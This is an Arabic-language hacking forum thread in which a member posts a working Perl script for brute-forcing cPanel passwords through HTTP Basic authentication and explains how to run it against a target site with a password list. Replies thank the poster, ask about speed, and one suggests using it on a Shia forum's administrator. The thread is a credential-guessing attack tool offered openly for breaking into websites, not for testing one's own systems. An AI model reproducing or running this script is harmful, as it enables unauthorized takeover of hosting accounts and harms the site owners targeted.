تخمين باسبورد Cpanel بسكربت Perl - عالم المعرفة - Group XP

دمعة فحل · 12-24-2008, 08:29 PM

بسم الله الرحمن الرحيم

ادري ان موضوعي قديم حبتين

او انه متأخر شوي
المهم

الموضوع هذا انا حطيته بنا على موضوع او نقاش اخونا قاهر الشيعه

اللي يبي طريقة التخمين ببرامج وعوار راس

لكن انا اقول

اي واحد يبي يخترق عن طريق التخمين

يجيب الباس ليست تبعه

ويجي

الان انا بانزل لكم كود بيرل هو موجود بالمنتدى منذ مبطي لكن انا بانزله لكم زيادة الخير خيرين

المهم
هذا هو الكود

كود PHP:


			
#!/usr/bin/perl

# Cpanel Password Brute Forcer

# ----------------------------

# (c)oded By Hessam-x

# Perl Version ( low speed )

# Oerginal Advisory :

use IO::Socket;

use LWP::Simple;

use MIME::Base64;



$host = $ARGV[0];

$user = $ARGV[1];

$port = $ARGV[2];

$list = $ARGV[3];

$file = $ARGV[4];

$url = "http://".$host.":".$port;

if(@ARGV < 3){

print q(

###############################################################

# Cpanel Password Brute Force Tool #

###############################################################

# usage : cpanel.pl [HOST] [User] [PORT][list] [File] #

#-------------------------------------------------------------#

# [Host] : victim Host (simorgh-ev.com) #

# [User] : User Name (demo) #

# [PORT] : Port of Cpanel (2082) #

#[list] : File Of password list (list.txt) #

# [File] : file for save password (password.txt) #

# #

###############################################################

# (c)oded By Hessam-x / simorgh-ev.com #

###############################################################

);exit;}



headx();



$numstart = "-1";



sub headx() {

print q(

###############################################################

# Cpanel Password Brute Force Tool #

# (c)oded By Hessam-x / simorgh-ev.com #

###############################################################

);

open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";

@PASSWORDS = <PASSFILE>;

close PASSFILE;

foreach my $P (@PASSWORDS) {

chomp $P;

$passwd = $P;

print "

[~] Try Password : $passwd

";

&brut;

};

}

sub brut() {

$authx = encode_base64($user.":".$passwd);

print $authx;

my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "

[-] Can not connect to the host";

print $sock "GET / HTTP/1.1

";

print $sock "Authorization: Basic $authx

";

print $sock "Connection: Close



";

read $sock, $answer, 128;

close($sock);



if ($answer =~ /Moved/) {

print "

[~] PASSWORD FOUND : $passwd

";

exit();

}

}

انسخه والصقه بملف مفكره

واحفظه في هذا المسار

c:\perl\bin

الان وبعد ما حفظته

سو ملفين مفكره الاول سمه list.txt

وهذا اللي تكتب فيه الباسووردات المراد تخمينها او تجربتها

والملف الثاني تسميه password.txt

وهذا لازم تتركه فاضي

طبعا تنسخ الملفين هذول وتحفظهم كمان بالمسار هذا

c:\perl\bin

طبعا اول ما تشغل الكود بالدوس

لازم يكون الاستغلال كذا

cpanel.pl www.site.com user port list.txt password.txt

طبعا نترجم بعض المصطلحات

user:يوزر الموقع ولازم يكون صحيح ولو تسئل من وين اجيب يوزر الموقع راح اقولك من احداث خطأ بالموقع راح يطلع لك اليوزر

port: هذا بورت السي بانيل اللي هو 2082

cpanel.pl:هذا انا حفظت كود البيرل بالاسم هذا

list.txt و password.txt هذي اتركها زي ما هي

بعدها

ادعس برجلك على زر Enter باقوى ما اعطاك ربي من قوة

واستمتع بالتخمين وقول يالله يا رب تظبط

اتمنى ان الشرح مفهوم
واي شئ مو مفهوم لا يردك الا الكيب وورد

وسلامتكم

الرمح سنان1 · 12-24-2008, 09:24 PM

مشكور اخوي دمعة فحل بس ماعرفة شنهو يخمن هاذ الكود يخمن اسم المستخدم للموقع والباس

دمعة فحل · 12-24-2008, 09:46 PM

لا يا كبتن هذا يخمن فقط الباس

يعني لازم تكون متأكد 100000000%

من اليوزر

@الجارح@ · 12-25-2008, 12:00 AM

طيب حلو عليك .. !

آشغل الملف بالدوس .. ! آوكي .. !!

بس الكود فيه مشكله ..
cpanel.pl www.site.com user port list.txt password.txt

cpanel.pl << المقصود فيه الكود بيرل اللي فـوـق . ؟

مشكور ..

وسرعته كيف سريع ولا .. ؟

دمعة فحل · 12-25-2008, 12:06 AM

والله يا شنب على حسب الراامات اللي عندك بالجهاز

aSSaSSin_HaCkErS · 12-25-2008, 12:12 AM

مشكور اخوي عالطرح المميز جزاك الله الف خير

SnIpEr_H · 12-25-2008, 01:36 AM

اقتباس:

ادري ان موضوعي قديم حبتين

يارجال جزاك الله خير فيه ناس توها داخل في المجال وتشوف الشرح شيء جديد

كفيت ووفيت .. في انتضار جديدك ..

سلام عليكم ..

ســمــوك · 12-25-2008, 02:46 AM

يسلمو دمعه لكن السكربت مايخمن احرف عربيه

يعني لو منتدى شيعي والادمن اسمه عربي ماراح تفيد طبعا بتفيد حسب الباس تكست

لكن شرحك مفهوم ومشكور على الموضوع

SnIpEr_H · 12-25-2008, 03:36 AM

اقتباس:

يعني لو منتدى شيعي والادمن اسمه عربي ماراح تفيد طبعا بتفيد حسب الباس تكست

لكن شرحك مفهوم ومشكور على الموضوع

مستحيل يجي يوزر سي بنل اسم عربي الرجال يتكلم عن تخمين السي بنل وليس تخمين اسم مستخدم وكملة مرور في موقع او سكربت معين

بعدين من شروط عمل التخمين معرفة اليوزر مسبقا و شرحها الرجال وماقصر

يعني السكربت لتخمين الباسورد وفقط

بعد اذن صحاب الموضوع حبيت اوضح النقطه هاذي بس بالرغم انها مشروحه في الأعلى

سلام عليكم

ابو تيله · 12-25-2008, 04:05 AM

يسلمو اخوي على شرح السكربت سهل مايحتاج شرح حملو برنامج اكتف بيرل علشان تشغل السكربت على جهازك

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
سكربت تخمين Cpanel وحسابات FTP على السيرفر + سي بنلات هديه	SnIpEr_H	منتدى أدوات وبرامج الإختراق	55	يوم أمس 01:27 PM
شرح استغلال ثغرات المكتوب استثمارها بـ (perl) شرح بالفيديو	ShOoT3R	مكتبة الثغرات	28	07-07-2009 02:43 AM

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق